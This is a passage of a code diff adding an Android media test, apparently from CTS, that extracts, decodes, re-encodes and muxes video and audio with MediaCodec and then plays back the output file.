+            Log.w(TAG, "WARNING: width or height not multiple of 16");
+        }
+        mWidth = width;
+        mHeight = height;
+
+        // TODO: remove this logic in setSize as it is now handled when configuring codecs
+        return true;
+    }
+
+    /**
+     * Sets the raw resource used as the source video.
+     */
+    private void setSource(String res) {
+        mSourceRes = res;
+    }
+
+    /**
+     * Sets the name of the output file based on the other parameters.
+     *
+     * <p>Must be called after {@link #setSize(int, int)} and {@link #setSource(String)}.
+     */
+    private void setOutputFile() {
+        StringBuilder sb = new StringBuilder();
+        sb.append(OUTPUT_FILENAME_DIR.getAbsolutePath());
+        sb.append("/cts-media-");
+        sb.append(getClass().getSimpleName());
+        assertTrue("should have called setSource() first", mSourceRes != null);
+        sb.append('-');
+        sb.append(mSourceRes);
+        if (mCopyVideo) {
+            assertTrue("should have called setSize() first", mWidth != -1);
+            assertTrue("should have called setSize() first", mHeight != -1);
+            sb.append('-');
+            sb.append("video");
+            sb.append('-');
+            sb.append(mWidth);
+            sb.append('x');
+            sb.append(mHeight);
+        }
+        if (mCopyAudio) {
+            sb.append('-');
+            sb.append("audio");
+        }
+        sb.append(".mp4");
+        mOutputFile = sb.toString();
+    }
+
+    private void setVideoMimeType(String mimeType) {
+        mOutputVideoMimeType = mimeType;
+    }
+
+    /**
+     * Tests encoding and subsequently decoding video from frames generated into a buffer.
+     * <p>
+     * We encode several frames of a video test pattern using MediaCodec, then decode the output
+     * with MediaCodec and do some simple checks.
+     */
+    private void extractDecodeEditEncodeMux() throws Exception {
+        // Exception that may be thrown during release.
+        Exception exception = null;
+
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+
+        // We avoid the device-specific limitations on width and height by using values
+        // that are multiples of 16, which all tested devices seem to be able to handle.
+        MediaFormat outputVideoFormat =
+                MediaFormat.createVideoFormat(mOutputVideoMimeType, mWidth, mHeight);
+
+        // Set some properties. Failing to specify some of these can cause the MediaCodec
+        // configure() call to throw an unhelpful exception.
+        outputVideoFormat.setInteger(
+                MediaFormat.KEY_COLOR_FORMAT, OUTPUT_VIDEO_COLOR_FORMAT);
+        outputVideoFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_VIDEO_BIT_RATE);
+        outputVideoFormat.setInteger(MediaFormat.KEY_FRAME_RATE, OUTPUT_VIDEO_FRAME_RATE);
+        outputVideoFormat.setInteger(
+                MediaFormat.KEY_I_FRAME_INTERVAL, OUTPUT_VIDEO_IFRAME_INTERVAL);
+        if (VERBOSE) Log.d(TAG, "video format: " + outputVideoFormat);
+
+        String videoEncoderName = mcl.findEncoderForFormat(outputVideoFormat);
+        if (videoEncoderName == null) {
+            // Don't fail CTS if they don't have an AVC codec (not here, anyway).
+            Log.e(TAG, "Unable to find an appropriate codec for " + outputVideoFormat);
+            return;
+        }
+        if (VERBOSE) Log.d(TAG, "video found codec: " + videoEncoderName);
+
+        MediaFormat outputAudioFormat =
+                MediaFormat.createAudioFormat(
+                        OUTPUT_AUDIO_MIME_TYPE, OUTPUT_AUDIO_SAMPLE_RATE_HZ,
+                        OUTPUT_AUDIO_CHANNEL_COUNT);
+        outputAudioFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_AUDIO_BIT_RATE);
+        // TODO: Bug workaround --- uncomment once fixed.
+        // outputAudioFormat.setInteger(MediaFormat.KEY_AAC_PROFILE, OUTPUT_AUDIO_AAC_PROFILE);
+
+        String audioEncoderName = mcl.findEncoderForFormat(outputAudioFormat);
+        if (audioEncoderName == null) {
+            // Don't fail CTS if they don't have an AAC codec (not here, anyway).
+            Log.e(TAG, "Unable to find an appropriate codec for " + outputAudioFormat);
+            return;
+        }
+        if (VERBOSE) Log.d(TAG, "audio found codec: " + audioEncoderName);
+
+        MediaExtractor videoExtractor = null;
+        MediaExtractor audioExtractor = null;
+        OutputSurface outputSurface = null;
+        MediaCodec videoDecoder = null;
+        MediaCodec audioDecoder = null;
+        MediaCodec videoEncoder = null;
+        MediaCodec audioEncoder = null;
+        MediaMuxer muxer = null;
+
+        InputSurface inputSurface = null;
+
+        try {
+            if (mCopyVideo) {
+                videoExtractor = createExtractor();
+                int videoInputTrack = getAndSelectVideoTrackIndex(videoExtractor);
+                assertTrue("missing video track in test video", videoInputTrack != -1);
+                MediaFormat inputFormat = videoExtractor.getTrackFormat(videoInputTrack);
+
+                // Create a MediaCodec for the desired codec, then configure it as an encoder with
+                // our desired properties. Request a Surface to use for input.
+                AtomicReference<Surface> inputSurfaceReference = new AtomicReference<Surface>();
+                videoEncoder = createVideoEncoder(
+                        videoEncoderName, outputVideoFormat, inputSurfaceReference);
+                inputSurface = new InputSurface(inputSurfaceReference.get());
+                inputSurface.makeCurrent();
+                // Create a MediaCodec for the decoder, based on the extractor's format.
+                outputSurface = new OutputSurface();
+                outputSurface.changeFragmentShader(FRAGMENT_SHADER);
+                videoDecoder = createVideoDecoder(mcl, inputFormat, outputSurface.getSurface());
+            }
+
+            if (mCopyAudio) {
+                audioExtractor = createExtractor();
+                int audioInputTrack = getAndSelectAudioTrackIndex(audioExtractor);
+                assertTrue("missing audio track in test video", audioInputTrack != -1);
+                MediaFormat inputFormat = audioExtractor.getTrackFormat(audioInputTrack);
+
+                // Create a MediaCodec for the desired codec, then configure it as an encoder with
+                // our desired properties. Request a Surface to use for input.
+                audioEncoder = createAudioEncoder(audioEncoderName, outputAudioFormat);
+                // Create a MediaCodec for the decoder, based on the extractor's format.
+                audioDecoder = createAudioDecoder(mcl, inputFormat);
+            }
+
+            // Creates a muxer but do not start or add tracks just yet.
+            muxer = createMuxer();
+
+            doExtractDecodeEditEncodeMux(
+                    videoExtractor,
+                    audioExtractor,
+                    videoDecoder,
+                    videoEncoder,
+                    audioDecoder,
+                    audioEncoder,
+                    muxer,
+                    inputSurface,
+                    outputSurface);
+        } finally {
+            if (VERBOSE) Log.d(TAG, "releasing extractor, decoder, encoder, and muxer");
+            // Try to release everything we acquired, even if one of the releases fails, in which
+            // case we save the first exception we got and re-throw at the end (unless something
+            // other exception has already been thrown). This guarantees the first exception thrown
+            // is reported as the cause of the error, everything is (attempted) to be released, and
+            // all other exceptions appear in the logs.
+            try {
+                if (videoExtractor != null) {
+                    videoExtractor.release();
+                }
+            } catch(Exception e) {
+                Log.e(TAG, "error while releasing videoExtractor", e);
+                if (exception == null) {
+                    exception = e;
+                }
+            }
+            try {
+                if (audioExtractor != null) {
+                    audioExtractor.release();
+                }
+            } catch(Exception e) {
+                Log.e(TAG, "error while releasing audioExtractor", e);
+                if (exception == null) {
+                    exception = e;
+                }
+            }
+            try {
+                if (videoDecoder != null) {
+                    videoDecoder.stop();
+                    videoDecoder.release();
+                }
+            } catch(Exception e) {
+                Log.e(TAG, "error while releasing videoDecoder", e);
+                if (exception == null) {
+                    exception = e;
+                }
+            }
+            try {
+                if (outputSurface != null) {
+                    outputSurface.release();
+                }
+            } catch(Exception e) {
+                Log.e(TAG, "error while releasing outputSurface", e);
+                if (exception == null) {
+                    exception = e;
+                }
+            }
+            try {
+                if (videoEncoder != null) {
+                    videoEncoder.stop();
+                    videoEncoder.release();
+                }
+            } catch(Exception e) {
+                Log.e(TAG, "error while releasing videoEncoder", e);
+                if (exception == null) {
+                    exception = e;
+                }
+            }
+            try {
+                if (audioDecoder != null) {
+                    audioDecoder.stop();
+                    audioDecoder.release();
+                }
+            } catch(Exception e) {
+                Log.e(TAG, "error while releasing audioDecoder", e);
+                if (exception == null) {
+                    exception = e;
+                }
+            }
+            try {
+                if (audioEncoder != null) {
+                    audioEncoder.stop();
+                    audioEncoder.release();
+                }
+            } catch(Exception e) {
+                Log.e(TAG, "error while releasing audioEncoder", e);
+                if (exception == null) {
+                    exception = e;
+                }
+            }
+            try {
+                if (muxer != null) {
+                    muxer.stop();
+                    muxer.release();
+                }
+            } catch(Exception e) {
+                Log.e(TAG, "error while releasing muxer", e);
+                if (exception == null) {
+                    exception = e;
+                }
+            }
+            try {
+                if (inputSurface != null) {
+                    inputSurface.release();
+                }
+            } catch(Exception e) {
+                Log.e(TAG, "error while releasing inputSurface", e);
+                if (exception == null) {
+                    exception = e;
+                }
+            }
+        }
+        if (exception != null) {
+            throw exception;
+        }
+
+        MediaExtractor mediaExtractor = null;
+        try {
+            mediaExtractor = new MediaExtractor();
+            mediaExtractor.setDataSource(mOutputFile);
+
+            assertEquals("incorrect number of tracks", (mCopyAudio ? 1 : 0) + (mCopyVideo ? 1 : 0),
+                    mediaExtractor.getTrackCount());
+            if (mVerifyAudioFormat) {
+                boolean foundAudio = false;
+                for (int i = 0; i < mediaExtractor.getTrackCount(); i++) {
+                    MediaFormat trackFormat = mediaExtractor.getTrackFormat(i);
+                    if (isAudioFormat(trackFormat)) {
+                        foundAudio = true;
+                        int expectedSampleRate = OUTPUT_AUDIO_SAMPLE_RATE_HZ;
+
+                        // SBR mode halves the sample rate in the format.
+                        // Query output profile. KEY_PROFILE gets precedence over KEY_AAC_PROFILE
+                        int aac_profile = trackFormat.getInteger(MediaFormat.KEY_AAC_PROFILE, -1);
+                        int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE, aac_profile);
+
+                        if (profile == MediaCodecInfo.CodecProfileLevel.AACObjectHE) {
+                            expectedSampleRate /= 2;
+                        }
+                        assertEquals("sample rates should match", expectedSampleRate,
+                                trackFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                    }
+                }
+
+                assertTrue("output should have an audio track", foundAudio || !mCopyAudio);
+            }
+        } catch (IOException e) {
+            throw new IllegalStateException("exception verifying output file", e);
+        } finally {
+            if (mediaExtractor != null) {
+                mediaExtractor.release();
+            }
+        }
+
+        // TODO: Check the generated output file's video format and sample data.
+
+        MediaStubActivity activity = getActivity();
+        final MediaPlayer mp = new MediaPlayer();
+        final Exception[] exceptionHolder = { null };
+        final CountDownLatch playbackEndSignal = new CountDownLatch(1);
+        mp.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+            @Override
+            public boolean onError(MediaPlayer origin, int what, int extra) {
+                exceptionHolder[0] = new RuntimeException("error playing output file: what=" + what
+                        + " extra=" + extra);
+                // Returning false would trigger onCompletion() so that
+                // playbackEndSignal.await() can stop waiting.
+                return false;
+            }
+        });
+        mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
+            @Override
+            public void onCompletion(MediaPlayer origin) {
+                playbackEndSignal.countDown();
+            }
+        });
+        try {
+            mp.setDataSource(mOutputFile);
+            mp.setDisplay(activity.getSurfaceHolder());
+            mp.prepare();
+            mp.start();
+            playbackEndSignal.await();
+        } catch (Exception e) {
+            exceptionHolder[0] = e;
+        } finally {
+            mp.release();
+        }
+
+        if (exceptionHolder[0] != null) {
+            throw exceptionHolder[0];
+        }
+    }
+
+    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        File inpFile = new File(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    /**
+     * Creates an extractor that reads its frames from {@link #mSourceRes}.
+     */
+    private MediaExtractor createExtractor() throws IOException {
+        MediaExtractor extractor;
+        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(mSourceRes);
+        extractor = new MediaExtractor();
+        extractor.setDataSource(srcFd.getFileDescriptor(), srcFd.getStartOffset(),
+                srcFd.getLength());
+        return extractor;
+    }
+
+    /**
+     * Creates a decoder for the given format, which outputs to the given surface.
+     *
+     * @param inputFormat the format of the stream to decode
+     * @param surface into which to decode the frames
+     */
+    private MediaCodec createVideoDecoder(
+            MediaCodecList mcl, MediaFormat inputFormat, Surface surface) throws IOException {
+        MediaCodec decoder = MediaCodec.createByCodecName(mcl.findDecoderForFormat(inputFormat));
+        decoder.configure(inputFormat, surface, null, 0);
+        decoder.start();
+        return decoder;
+    }
+
+    /**
+     * Creates an encoder for the given format using the specified codec, taking input from a
+     * surface.
+     *
+     * <p>The surface to use as input is stored in the given reference.
+     *
+     * @param codecInfo of the codec to use
+     * @param format of the stream to be produced
+     * @param surfaceReference to store the surface to use as input
+     */
+    private MediaCodec createVideoEncoder(
+            String codecName,
+            MediaFormat format,
+            AtomicReference<Surface> surfaceReference)
+            throws IOException {
+        MediaCodec encoder = MediaCodec.createByCodecName(codecName);
+        encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+        // Must be called before start() is.
+        surfaceReference.set(encoder.createInputSurface());
+        encoder.start();
+        return encoder;
+    }
+
+    /**
+     * Creates a decoder for the given format.
+     *
+     * @param inputFormat the format of the stream to decode
+     */
+    private MediaCodec createAudioDecoder(
+            MediaCodecList mcl, MediaFormat inputFormat) throws IOException {
+        MediaCodec decoder = MediaCodec.createByCodecName(mcl.findDecoderForFormat(inputFormat));
+        decoder.configure(inputFormat, null, null, 0);
+        decoder.start();
+        return decoder;
+    }
+
+    /**
+     * Creates an encoder for the given format using the specified codec.
+     *
+     * @param codecInfo of the codec to use
+     * @param format of the stream to be produced
+     */
+    private MediaCodec createAudioEncoder(String codecName, MediaFormat format)
+            throws IOException {
+        MediaCodec encoder = MediaCodec.createByCodecName(codecName);
+        encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+        encoder.start();
+        return encoder;
+    }
+
+    /**
+     * Creates a muxer to write the encoded frames.
+     *
+     * <p>The muxer is not started as it needs to be started only after all streams have been added.
+     */
+    private MediaMuxer createMuxer() throws IOException {
+        return new MediaMuxer(mOutputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+    }
+
+    private int getAndSelectVideoTrackIndex(MediaExtractor extractor) {
+        for (int index = 0; index < extractor.getTrackCount(); ++index) {
+            if (VERBOSE) {
+                Log.d(TAG, "format for track " + index + " is "
+                        + getMimeTypeFor(extractor.getTrackFormat(index)));
+            }
+            if (isVideoFormat(extractor.getTrackFormat(index))) {
+                extractor.selectTrack(index);
+                return index;
+            }
+        }
+        return -1;
+    }
+
+    private int getAndSelectAudioTrackIndex(MediaExtractor extractor) {
+        for (int index = 0; index < extractor.getTrackCount(); ++index) {
+            if (VERBOSE) {
+                Log.d(TAG, "format for track " + index + " is "
+                        + getMimeTypeFor(extractor.getTrackFormat(index)));
+            }
+            if (isAudioFormat(extractor.getTrackFormat(index))) {
+                extractor.selectTrack(index);
+                return index;
+            }
+        }
+        return -1;
+    }
+
+    /**
+     * Does the actual work for extracting, decoding, encoding and muxing.
+     */
+    private void doExtractDecodeEditEncodeMux(
+            MediaExtractor videoExtractor,
+            MediaExtractor audioExtractor,
+            MediaCodec videoDecoder,
+            MediaCodec videoEncoder,
+            MediaCodec audioDecoder,
+            MediaCodec audioEncoder,
+            MediaMuxer muxer,
+            InputSurface inputSurface,
+            OutputSurface outputSurface) {
+        ByteBuffer[] videoDecoderInputBuffers = null;
+        ByteBuffer[] videoDecoderOutputBuffers = null;
+        ByteBuffer[] videoEncoderOutputBuffers = null;
+        MediaCodec.BufferInfo videoDecoderOutputBufferInfo = null;
+        MediaCodec.BufferInfo videoEncoderOutputBufferInfo = null;
+        if (mCopyVideo) {
+            videoDecoderInputBuffers = videoDecoder.getInputBuffers();
+            videoDecoderOutputBuffers = videoDecoder.getOutputBuffers();
+            videoEncoderOutputBuffers = videoEncoder.getOutputBuffers();
+            videoDecoderOutputBufferInfo = new MediaCodec.BufferInfo();
+            videoEncoderOutputBufferInfo = new MediaCodec.BufferInfo();
+        }
+        ByteBuffer[] audioDecoderInputBuffers = null;
+        ByteBuffer[] audioDecoderOutputBuffers = null;
+        ByteBuffer[] audioEncoderInputBuffers = null;
+        ByteBuffer[] audioEncoderOutputBuffers = null;
+        MediaCodec.BufferInfo audioDecoderOutputBufferInfo = null;
+        MediaCodec.BufferInfo audioEncoderOutputBufferInfo = null;
+        if (mCopyAudio) {
+            audioDecoderInputBuffers = audioDecoder.getInputBuffers();
+            audioDecoderOutputBuffers =  audioDecoder.getOutputBuffers();
+            audioEncoderInputBuffers = audioEncoder.getInputBuffers();
+            audioEncoderOutputBuffers = audioEncoder.getOutputBuffers();
+            audioDecoderOutputBufferInfo = new MediaCodec.BufferInfo();
+            audioEncoderOutputBufferInfo = new MediaCodec.BufferInfo();
+        }
+        // We will get these from the decoders when notified of a format change.
+        MediaFormat decoderOutputVideoFormat = null;
+        MediaFormat decoderOutputAudioFormat = null;
+        // We will get these from the encoders when notified of a format change.
+        MediaFormat encoderOutputVideoFormat = null;
+        MediaFormat encoderOutputAudioFormat = null;
+        // We will determine these once we have the output format.
+        int outputVideoTrack = -1;
+        int outputAudioTrack = -1;
+        // Whether things are done on the video side.
+        boolean videoExtractorDone = false;
+        boolean videoDecoderDone = false;
+        boolean videoEncoderDone = false;
+        // Whether things are done on the audio side.
+        boolean audioExtractorDone = false;
+        boolean audioDecoderDone = false;
+        boolean audioEncoderDone = false;
+        // The audio decoder output buffer to process, -1 if none.
+        int pendingAudioDecoderOutputBufferIndex = -1;
+
+        boolean muxing = false;
+
+        int videoExtractedFrameCount = 0;
+        int videoDecodedFrameCount = 0;
+        int videoEncodedFrameCount = 0;
+
+        int audioExtractedFrameCount = 0;
+        int audioDecodedFrameCount = 0;
+        int audioEncodedFrameCount = 0;
+
+        while ((mCopyVideo && !videoEncoderDone) || (mCopyAudio && !audioEncoderDone)) {
+            if (VERBOSE) {
+                Log.d(TAG, String.format(
+                        "loop: "
+
+                        + "V(%b){"
+                        + "extracted:%d(done:%b) "
+                        + "decoded:%d(done:%b) "
+                        + "encoded:%d(done:%b)} "
+
+                        + "A(%b){"
+                        + "extracted:%d(done:%b) "
+                        + "decoded:%d(done:%b) "
+                        + "encoded:%d(done:%b) "
+                        + "pending:%d} "
+
+                        + "muxing:%b(V:%d,A:%d)",
+
+                        mCopyVideo,
+                        videoExtractedFrameCount, videoExtractorDone,
+                        videoDecodedFrameCount, videoDecoderDone,
+                        videoEncodedFrameCount, videoEncoderDone,
+
+                        mCopyAudio,
+                        audioExtractedFrameCount, audioExtractorDone,
+                        audioDecodedFrameCount, audioDecoderDone,
+                        audioEncodedFrameCount, audioEncoderDone,
+                        pendingAudioDecoderOutputBufferIndex,
+
+                        muxing, outputVideoTrack, outputAudioTrack));
+            }
+
+            // Extract video from file and feed to decoder.
+            // Do not extract video if we have determined the output format but we are not yet
+            // ready to mux the frames.
+            while (mCopyVideo && !videoExtractorDone
+                    && (encoderOutputVideoFormat == null || muxing)) {
+                int decoderInputBufferIndex = videoDecoder.dequeueInputBuffer(TIMEOUT_USEC);
+                if (decoderInputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    if (VERBOSE) Log.d(TAG, "no video decoder input buffer");
+                    break;
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "video decoder: returned input buffer: " + decoderInputBufferIndex);
+                }
+                ByteBuffer decoderInputBuffer = videoDecoderInputBuffers[decoderInputBufferIndex];
+                int size = videoExtractor.readSampleData(decoderInputBuffer, 0);
+                long presentationTime = videoExtractor.getSampleTime();
+                int flags = videoExtractor.getSampleFlags();
+                if (VERBOSE) {
+                    Log.d(TAG, "video extractor: returned buffer of size " + size);
+                    Log.d(TAG, "video extractor: returned buffer for time " + presentationTime);
+                }
+                videoExtractorDone = !videoExtractor.advance();
+                if (videoExtractorDone) {
+                    if (VERBOSE) Log.d(TAG, "video extractor: EOS");
+                    flags = flags | MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                }
+                if (size >= 0) {
+                    videoDecoder.queueInputBuffer(
+                            decoderInputBufferIndex,
+                            0,
+                            size,
+                            presentationTime,
+                            flags);
+                    videoExtractedFrameCount++;
+                }
+                // We extracted a frame, let's try something else next.
+                break;
+            }
+
+            // Extract audio from file and feed to decoder.
+            // Do not extract audio if we have determined the output format but we are not yet
+            // ready to mux the frames.
+            while (mCopyAudio && !audioExtractorDone
+                    && (encoderOutputAudioFormat == null || muxing)) {
+                int decoderInputBufferIndex = audioDecoder.dequeueInputBuffer(TIMEOUT_USEC);
+                if (decoderInputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    if (VERBOSE) Log.d(TAG, "no audio decoder input buffer");
+                    break;
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "audio decoder: returned input buffer: " + decoderInputBufferIndex);
+                }
+                ByteBuffer decoderInputBuffer = audioDecoderInputBuffers[decoderInputBufferIndex];
+                int size = audioExtractor.readSampleData(decoderInputBuffer, 0);
+                long presentationTime = audioExtractor.getSampleTime();
+                if (VERBOSE) {
+                    Log.d(TAG, "audio extractor: returned buffer of size " + size);
+                    Log.d(TAG, "audio extractor: returned buffer for time " + presentationTime);
+                }
+                if (size >= 0) {
+                    audioDecoder.queueInputBuffer(
+                            decoderInputBufferIndex,
+                            0,
+                            size,
+                            presentationTime,
+                            audioExtractor.getSampleFlags());
+                }
+                audioExtractorDone = !audioExtractor.advance();
+                if (audioExtractorDone) {
+                    if (VERBOSE) Log.d(TAG, "audio extractor: EOS");
+                    audioDecoder.queueInputBuffer(
+                            decoderInputBufferIndex,
+                            0,
+                            0,
+                            0,
+                            MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                }
+                audioExtractedFrameCount++;
+                // We extracted a frame, let's try something else next.
+                break;
+            }
+
+            // Poll output frames from the video decoder and feed the encoder.
+            while (mCopyVideo && !videoDecoderDone
+                    && (encoderOutputVideoFormat == null || muxing)) {
+                int decoderOutputBufferIndex =
+                        videoDecoder.dequeueOutputBuffer(
+                                videoDecoderOutputBufferInfo, TIMEOUT_USEC);
+                if (decoderOutputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    if (VERBOSE) Log.d(TAG, "no video decoder output buffer");
+                    break;
+                }
+                if (decoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    if (VERBOSE) Log.d(TAG, "video decoder: output buffers changed");
+                    videoDecoderOutputBuffers = videoDecoder.getOutputBuffers();
+                    break;
+                }
+                if (decoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    decoderOutputVideoFormat = videoDecoder.getOutputFormat();
+                    if (VERBOSE) {
+                        Log.d(TAG, "video decoder: output format changed: "
+                                + decoderOutputVideoFormat);
+                    }
+                    break;
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "video decoder: returned output buffer: "
+                            + decoderOutputBufferIndex);
+                    Log.d(TAG, "video decoder: returned buffer of size "
+                            + videoDecoderOutputBufferInfo.size);
+                }
+                ByteBuffer decoderOutputBuffer =
+                        videoDecoderOutputBuffers[decoderOutputBufferIndex];
+                if ((videoDecoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG)
+                        != 0) {
+                    if (VERBOSE) Log.d(TAG, "video decoder: codec config buffer");
+                    videoDecoder.releaseOutputBuffer(decoderOutputBufferIndex, false);
+                    break;
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "video decoder: returned buffer for time "
+                            + videoDecoderOutputBufferInfo.presentationTimeUs);
+                }
+                boolean render = videoDecoderOutputBufferInfo.size != 0;
+                videoDecoder.releaseOutputBuffer(decoderOutputBufferIndex, render);
+                if (render) {
+                    if (VERBOSE) Log.d(TAG, "output surface: await new image");
+                    outputSurface.awaitNewImage();
+                    // Edit the frame and send it to the encoder.
+                    if (VERBOSE) Log.d(TAG, "output surface: draw image");
+                    outputSurface.drawImage();
+                    inputSurface.setPresentationTime(
+                            videoDecoderOutputBufferInfo.presentationTimeUs * 1000);
+                    if (VERBOSE) Log.d(TAG, "input surface: swap buffers");
+                    inputSurface.swapBuffers();
+                    if (VERBOSE) Log.d(TAG, "video encoder: notified of new frame");
+                    videoDecodedFrameCount++;
+                }
+                if ((videoDecoderOutputBufferInfo.flags
+                        & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    if (VERBOSE) Log.d(TAG, "video decoder: EOS");
+                    videoDecoderDone = true;
+                    videoEncoder.signalEndOfInputStream();
+                }
+                // We extracted a pending frame, let's try something else next.
+                break;
+            }
+
+            // Poll output frames from the audio decoder.
+            // Do not poll if we already have a pending buffer to feed to the encoder.
+            while (mCopyAudio && !audioDecoderDone && pendingAudioDecoderOutputBufferIndex == -1
+                    && (encoderOutputAudioFormat == null || muxing)) {
+                int decoderOutputBufferIndex =
+                        audioDecoder.dequeueOutputBuffer(
+                                audioDecoderOutputBufferInfo, TIMEOUT_USEC);
+                if (decoderOutputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    if (VERBOSE) Log.d(TAG, "no audio decoder output buffer");
+                    break;
+                }
+                if (decoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    if (VERBOSE) Log.d(TAG, "audio decoder: output buffers changed");
+                    audioDecoderOutputBuffers = audioDecoder.getOutputBuffers();
+                    break;
+                }
+                if (decoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    decoderOutputAudioFormat = audioDecoder.getOutputFormat();
+                    if (VERBOSE) {
+                        Log.d(TAG, "audio decoder: output format changed: "
+                                + decoderOutputAudioFormat);
+                    }
+                    break;
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "audio decoder: returned output buffer: "
+                            + decoderOutputBufferIndex);
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "audio decoder: returned buffer of size "
+                            + audioDecoderOutputBufferInfo.size);
+                }
+                ByteBuffer decoderOutputBuffer =
+                        audioDecoderOutputBuffers[decoderOutputBufferIndex];
+                if ((audioDecoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG)
+                        != 0) {
+                    if (VERBOSE) Log.d(TAG, "audio decoder: codec config buffer");
+                    audioDecoder.releaseOutputBuffer(decoderOutputBufferIndex, false);
+                    break;
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "audio decoder: returned buffer for time "
+                            + audioDecoderOutputBufferInfo.presentationTimeUs);
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "audio decoder: output buffer is now pending: "
+                            + pendingAudioDecoderOutputBufferIndex);
+                }
+                pendingAudioDecoderOutputBufferIndex = decoderOutputBufferIndex;
+                audioDecodedFrameCount++;
+                // We extracted a pending frame, let's try something else next.
+                break;
+            }
+
+            // Feed the pending decoded audio buffer to the audio encoder.
+            while (mCopyAudio && pendingAudioDecoderOutputBufferIndex != -1) {
+                if (VERBOSE) {
+                    Log.d(TAG, "audio decoder: attempting to process pending buffer: "
+                            + pendingAudioDecoderOutputBufferIndex);
+                }
+                int encoderInputBufferIndex = audioEncoder.dequeueInputBuffer(TIMEOUT_USEC);
+                if (encoderInputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    if (VERBOSE) Log.d(TAG, "no audio encoder input buffer");
+                    break;
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "audio encoder: returned input buffer: " + encoderInputBufferIndex);
+                }
+                ByteBuffer encoderInputBuffer = audioEncoderInputBuffers[encoderInputBufferIndex];
+                int size = audioDecoderOutputBufferInfo.size;
+                long presentationTime = audioDecoderOutputBufferInfo.presentationTimeUs;
+                if (VERBOSE) {
+                    Log.d(TAG, "audio decoder: processing pending buffer: "
+                            + pendingAudioDecoderOutputBufferIndex);
+                }
+                if (VERBOSE) {
+                    Log.d(TAG, "audio decoder: pending buffer of size " + size);
+                    Log.d(TAG, "audio decoder: pending buffer for time " + presentationTime);
+                }
+                if (size >= 0) {
+                    ByteBuffer decoderOutputBuffer =
+                            audioDecoderOutputBuffers[pendingAudioDecoderOutputBufferIndex]
+                                    .duplicate();
+                    decoderOutputBuffer.position(audioDecoderOutputBufferInfo.offset);
+                    decoderOutputBuffer.limit(audioDecoderOutputBufferInfo.offset + size);
+                    encoderInputBuffer.position(0);
+                    encoderInputBuffer.put(decoderOutputBuffer);
+
+                    audioEncoder.queueInputBuffer(
+                            encoderInputBufferIndex,
+                            0,
+                            size,
+                            presentationTime,
+                            audioDecoderOutputBufferInfo.flags);
+                }
+                audioDecoder.releaseOutputBuffer(pendingAudioDecoderOutputBufferIndex, false);
+                pendingAudioDecoderOutputBufferIndex = -1;
+                if ((audioDecoderOutputBufferInfo.flags
+                        & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    if (VERBOSE) Log.d(TAG, "audio decoder: EOS");
+                    audioDecoderDone = true;
+                }
+                // We enqueued a pending frame, let's try something else next.
+                break;
+            }
+
+            // Poll frames from the video encoder and send them to the muxer.
+            while (mCopyVideo && !videoEncoderDone
+                    && (encoderOutputVideoFormat == null || muxing)) {
+                int encoderOutputBufferIndex = videoEncoder.dequeueOutputBuffer(
+                        videoEncoderOutputBufferInfo, TIMEOUT_USEC);
+                if (encoderOutputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    if (VERBOSE) Log.d(TAG, "no video encoder output buffer");
+                    break;
+                }
+                if (encoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    if (VERBOSE) Log.d(TAG, "video encoder: output buffers changed");
+                    videoEncoderOutputBuffers = videoEncoder.getOutputBuffers();
+                    break;
+                }
+                if (encoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    if (VERBOSE) Log.d(TAG, "video encoder: output format changed");
+                    if (outputVideoTrack >= 0) {
+                        fail("video encoder changed its output format again?");
+                    }
+                    encoderOutputVideoFormat = videoEncoder.getOutputFormat();
+                    break;
+                }
+                assertTrue("should have added track before processing output", muxing);
+                if (VERBOSE) {
+                    Log.d(TAG, "video encoder: returned output buffer: "
+                            + encoderOutputBufferIndex);
